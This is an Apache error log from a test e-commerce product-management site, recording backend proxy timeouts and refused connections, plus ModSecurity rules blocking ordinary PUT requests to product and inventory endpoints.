[Mon Sep 19 11:19:48.513398 2022] [proxy_http:error] [pid 2110924] (70007)The timeout specified has expired: [client 80.116.65.51:29852] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=632349111fbeef5e72aae4c7
[Mon Sep 19 11:19:48.513481 2022] [proxy:error] [pid 2110924] [client 80.116.65.51:29852] AH00898: Error reading from remote server returned by /rest/media/632349111fbeef5e72aae4c7, referer: http://pms.test.indaco.store/editProduct;productId=632349111fbeef5e72aae4c7
[Mon Sep 19 11:19:56.135479 2022] [proxy_http:error] [pid 2110947] (70007)The timeout specified has expired: [client 80.116.65.51:29854] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=632349111fbeef5e72aae4c7
[Mon Sep 19 11:19:56.135537 2022] [proxy:error] [pid 2110947] [client 80.116.65.51:29854] AH00898: Error reading from remote server returned by /rest/media/632349111fbeef5e72aae4c7, referer: http://pms.test.indaco.store/editProduct;productId=632349111fbeef5e72aae4c7
[Mon Sep 19 11:22:40.662706 2022] [proxy_http:error] [pid 2110966] (70007)The timeout specified has expired: [client 80.116.65.51:29895] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=632349111fbeef5e72aae4c7
[Mon Sep 19 11:22:40.662754 2022] [proxy:error] [pid 2110966] [client 80.116.65.51:29895] AH00898: Error reading from remote server returned by /rest/media/632349111fbeef5e72aae4c7, referer: http://pms.test.indaco.store/editProduct;productId=632349111fbeef5e72aae4c7
[Mon Sep 19 11:23:11.420269 2022] [proxy_http:error] [pid 2108969] (70007)The timeout specified has expired: [client 80.116.65.51:29912] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=6324400367125c8ba87e9d8b
[Mon Sep 19 11:23:11.420331 2022] [proxy:error] [pid 2108969] [client 80.116.65.51:29912] AH00898: Error reading from remote server returned by /rest/media/6324400367125c8ba87e9d8b, referer: http://pms.test.indaco.store/editProduct;productId=6324400367125c8ba87e9d8b
[Mon Sep 19 11:24:40.096657 2022] [proxy_http:error] [pid 2111045] (70007)The timeout specified has expired: [client 80.116.65.51:29930] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=6322f17f589c775ee02251c7
[Mon Sep 19 11:24:40.096736 2022] [proxy:error] [pid 2111045] [client 80.116.65.51:29930] AH00898: Error reading from remote server returned by /rest/media/6322f17f589c775ee02251c7, referer: http://pms.test.indaco.store/editProduct;productId=6322f17f589c775ee02251c7
[Mon Sep 19 11:28:54.628232 2022] [proxy_http:error] [pid 2110472] (70007)The timeout specified has expired: [client 80.116.65.51:29965] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=6322f0dc589c775ee02251bb
[Mon Sep 19 11:28:54.628300 2022] [proxy:error] [pid 2110472] [client 80.116.65.51:29965] AH00898: Error reading from remote server returned by /rest/media/6322f0dc589c775ee02251bb, referer: http://pms.test.indaco.store/editProduct;productId=6322f0dc589c775ee02251bb
[Mon Sep 19 12:14:16.914141 2022] [proxy_http:error] [pid 2111689] (70007)The timeout specified has expired: [client 151.46.75.122:27599] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=63248ae4b34dc190ff435f15
[Mon Sep 19 12:14:16.914210 2022] [proxy:error] [pid 2111689] [client 151.46.75.122:27599] AH00898: Error reading from remote server returned by /rest/media/63248ae4b34dc190ff435f15, referer: http://pms.test.indaco.store/editProduct;productId=63248ae4b34dc190ff435f15
[Mon Sep 19 12:21:22.551151 2022] [proxy_http:error] [pid 2111514] (70007)The timeout specified has expired: [client 151.46.75.122:27667] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=63248ae4b34dc190ff435f15
[Mon Sep 19 12:21:22.551195 2022] [proxy:error] [pid 2111514] [client 151.46.75.122:27667] AH00898: Error reading from remote server returned by /rest/media/63248ae4b34dc190ff435f15, referer: http://pms.test.indaco.store/editProduct;productId=63248ae4b34dc190ff435f15
[Mon Sep 19 12:28:57.096249 2022] [proxy_http:error] [pid 2111593] (70007)The timeout specified has expired: [client 151.46.75.122:27743] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=63248ae4b34dc190ff435f15
[Mon Sep 19 12:28:57.096302 2022] [proxy:error] [pid 2111593] [client 151.46.75.122:27743] AH00898: Error reading from remote server returned by /rest/media/63248ae4b34dc190ff435f15, referer: http://pms.test.indaco.store/editProduct;productId=63248ae4b34dc190ff435f15
[Mon Sep 19 12:36:51.895207 2022] [proxy_http:error] [pid 2111688] (70007)The timeout specified has expired: [client 151.46.75.122:27043] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=632844fa0f23133a68642c92
[Mon Sep 19 12:36:51.895262 2022] [proxy:error] [pid 2111688] [client 151.46.75.122:27043] AH00898: Error reading from remote server returned by /rest/media/632844fa0f23133a68642c92, referer: http://pms.test.indaco.store/editProduct;productId=632844fa0f23133a68642c92
[Mon Sep 19 14:23:49.572240 2022] [proxy_http:error] [pid 2115233] (70007)The timeout specified has expired: [client 80.116.65.51:29772] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=6322f0dc589c775ee02251bb
[Mon Sep 19 14:23:49.572305 2022] [proxy:error] [pid 2115233] [client 80.116.65.51:29772] AH00898: Error reading from remote server returned by /rest/media/6322f0dc589c775ee02251bb, referer: http://pms.test.indaco.store/editProduct;productId=6322f0dc589c775ee02251bb
[Mon Sep 19 22:08:09.339020 2022] [proxy_http:error] [pid 2118716] (70007)The timeout specified has expired: [client 37.160.168.94:43517] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=6328cad2b43bab58161ce710
[Mon Sep 19 22:08:09.339088 2022] [proxy:error] [pid 2118716] [client 37.160.168.94:43517] AH00898: Error reading from remote server returned by /rest/media/6328cad2b43bab58161ce710, referer: http://pms.test.indaco.store/editProduct;productId=6328cad2b43bab58161ce710
[Wed Sep 21 09:51:22.067003 2022] [proxy_http:error] [pid 2186922] (70007)The timeout specified has expired: [client 87.4.19.150:29121] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=632349131fbeef5e72aae4d3
[Wed Sep 21 09:51:22.072803 2022] [proxy:error] [pid 2186922] [client 87.4.19.150:29121] AH00898: Error reading from remote server returned by /rest/media/632349131fbeef5e72aae4d3, referer: http://pms.test.indaco.store/editProduct;productId=632349131fbeef5e72aae4d3
[Wed Sep 21 09:54:23.072272 2022] [proxy_http:error] [pid 2186996] (70007)The timeout specified has expired: [client 87.4.19.150:29140] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=632349131fbeef5e72aae4d3
[Wed Sep 21 09:54:23.072333 2022] [proxy:error] [pid 2186996] [client 87.4.19.150:29140] AH00898: Error reading from remote server returned by /rest/media/632349131fbeef5e72aae4d3, referer: http://pms.test.indaco.store/editProduct;productId=632349131fbeef5e72aae4d3
[Wed Sep 21 10:18:18.166484 2022] [proxy_http:error] [pid 2187165] (70007)The timeout specified has expired: [client 87.4.19.150:29072] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=6322f17f589c775ee02251c7
[Wed Sep 21 10:18:18.166543 2022] [proxy:error] [pid 2187165] [client 87.4.19.150:29072] AH00898: Error reading from remote server returned by /rest/media/6322f17f589c775ee02251c7, referer: http://pms.test.indaco.store/editProduct;productId=6322f17f589c775ee02251c7
[Wed Sep 21 10:18:30.831825 2022] [proxy_http:error] [pid 2187555] (70007)The timeout specified has expired: [client 87.4.19.150:29074] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indaco.store/editProduct;productId=6322f17f589c775ee02251c7
[Wed Sep 21 10:18:30.831882 2022] [proxy:error] [pid 2187555] [client 87.4.19.150:29074] AH00898: Error reading from remote server returned by /rest/media/6322f17f589c775ee02251c7, referer: http://pms.test.indaco.store/editProduct;productId=6322f17f589c775ee02251c7
[Tue Sep 27 14:02:36.119612 2022] [proxy_http:error] [pid 2323229] (20014)Internal error (specific information not available): [client 95.254.147.79:64091] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/
[Tue Sep 27 14:02:36.349343 2022] [proxy:error] [pid 2322999] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:02:36.349421 2022] [proxy_http:error] [pid 2322999] [client 95.254.147.79:64095] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/home
[Tue Sep 27 14:02:36.434571 2022] [proxy:error] [pid 2322441] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:02:36.434643 2022] [proxy_http:error] [pid 2322441] [client 95.254.147.79:64092] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/home
[Tue Sep 27 14:02:36.443589 2022] [proxy:error] [pid 2323056] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:02:36.443645 2022] [proxy:error] [pid 2323028] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:02:36.443687 2022] [proxy_http:error] [pid 2323028] [client 95.254.147.79:64093] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/home
[Tue Sep 27 14:02:36.443682 2022] [proxy_http:error] [pid 2323056] [client 95.254.147.79:64094] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/home
[Tue Sep 27 14:02:36.479975 2022] [proxy:error] [pid 2322903] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:02:36.480049 2022] [proxy_http:error] [pid 2322903] [client 95.254.147.79:64096] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/home
[Tue Sep 27 14:02:41.378838 2022] [proxy:error] [pid 2322860] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:02:41.378895 2022] [proxy_http:error] [pid 2322860] [client 95.254.147.79:64099] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/home
[Tue Sep 27 14:02:41.380964 2022] [proxy:error] [pid 2322855] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:02:41.381008 2022] [proxy_http:error] [pid 2322855] [client 95.254.147.79:64098] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/home
[Tue Sep 27 14:02:46.127415 2022] [proxy:error] [pid 2323027] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:02:46.127473 2022] [proxy_http:error] [pid 2323027] [client 95.254.147.79:64100] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/
[Tue Sep 27 14:02:46.130925 2022] [proxy:error] [pid 2322894] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:02:46.131029 2022] [proxy_http:error] [pid 2322894] [client 95.254.147.79:64101] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/
[Tue Sep 27 14:03:14.721855 2022] [proxy:error] [pid 2322898] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:03:14.721916 2022] [proxy_http:error] [pid 2322898] [client 95.254.147.79:64129] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/login
[Tue Sep 27 14:03:29.006625 2022] [proxy:error] [pid 2322897] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:03:29.008265 2022] [proxy_http:error] [pid 2322897] [client 95.254.147.79:64140] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/login
[Tue Sep 27 14:03:31.383607 2022] [proxy:error] [pid 2323000] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Tue Sep 27 14:03:31.383666 2022] [proxy_http:error] [pid 2323000] [client 95.254.147.79:64141] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/login
[Wed Sep 28 11:27:39.896515 2022] [proxy:error] [pid 2342609] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Wed Sep 28 11:27:39.905547 2022] [proxy_http:error] [pid 2342609] [client 146.247.68.141:60197] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/home
[Wed Sep 28 11:27:42.514444 2022] [proxy:error] [pid 2342737] (111)Connection refused: AH00957: HTTP: attempt to connect to 127.0.0.1:3000 (127.0.0.1) failed
[Wed Sep 28 11:27:42.522181 2022] [proxy_http:error] [pid 2342737] [client 146.247.68.141:60198] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://pms.test.indacotrentino.com/home
[Thu Sep 29 15:05:00.986148 2022] [proxy_http:error] [pid 2366875] (70007)The timeout specified has expired: [client 87.15.207.205:63587] AH01102: error reading status line from remote server 127.0.0.1:3000, referer: http://pms.test.indacotrentino.com/editProduct;productId=633596860612df01c3950f50
[Thu Sep 29 15:05:00.993018 2022] [proxy:error] [pid 2366875] [client 87.15.207.205:63587] AH00898: Error reading from remote server returned by /rest/media/633596860612df01c3950f50, referer: http://pms.test.indacotrentino.com/editProduct;productId=633596860612df01c3950f50
[Thu Nov 10 15:03:03.732887 2022] [:error] [pid 2984938] [client 79.50.106.79:55049] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y20El@FPJvkQWzSUSfQfjQAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:03.740042 2022] [:error] [pid 2984938] [client 79.50.106.79:55049] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y20El@FPJvkQWzSUSfQfjQAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:03.740203 2022] [:error] [pid 2984938] [client 79.50.106.79:55049] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y20El@FPJvkQWzSUSfQfjQAAAAU&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:03.740698 2022] [:error] [pid 2984946] [client 79.50.106.79:55050] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y20El9tjyONOjVDyw3iT-AAAAAk&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:03.742358 2022] [:error] [pid 2984946] [client 79.50.106.79:55050] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y20El9tjyONOjVDyw3iT-AAAAAk&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:03.742542 2022] [:error] [pid 2984946] [client 79.50.106.79:55050] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y20El9tjyONOjVDyw3iT-AAAAAk&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:25.614654 2022] [:error] [pid 2984946] [client 79.50.106.79:55063] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y20ErdtjyONOjVDyw3iUAQAAAAk&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:25.616066 2022] [:error] [pid 2984946] [client 79.50.106.79:55063] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y20ErdtjyONOjVDyw3iUAQAAAAk&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:25.616416 2022] [:error] [pid 2984946] [client 79.50.106.79:55063] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y20ErdtjyONOjVDyw3iUAQAAAAk&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:25.656403 2022] [:error] [pid 2984924] [client 79.50.106.79:55064] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y20ErbEcyM8IYmLUvs0swQAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:25.658143 2022] [:error] [pid 2984924] [client 79.50.106.79:55064] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y20ErbEcyM8IYmLUvs0swQAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Thu Nov 10 15:03:25.658307 2022] [:error] [pid 2984924] [client 79.50.106.79:55064] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y20ErbEcyM8IYmLUvs0swQAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=6322f4392b28d1270d9d338a
[Tue Nov 15 11:53:15.993645 2022] [:error] [pid 3049614] [client 213.21.147.71:52744] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/634d50c8c76dd805ae568979&quot;] [unique_id &quot;Y3Nvm7IdQ80KeDReNx8kAwAAAAo&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
[Tue Nov 15 11:53:15.993654 2022] [:error] [pid 3043587] [client 213.21.147.71:52745] [client 213.21.147.71] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/62ed0ff562940ba0eef75c24/products/updateInventory/&quot;] [unique_id &quot;Y3Nvm2kJLBNobtdzXvEc4AAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;productId=634d50c8c76dd805ae568979;partnerId=undefined
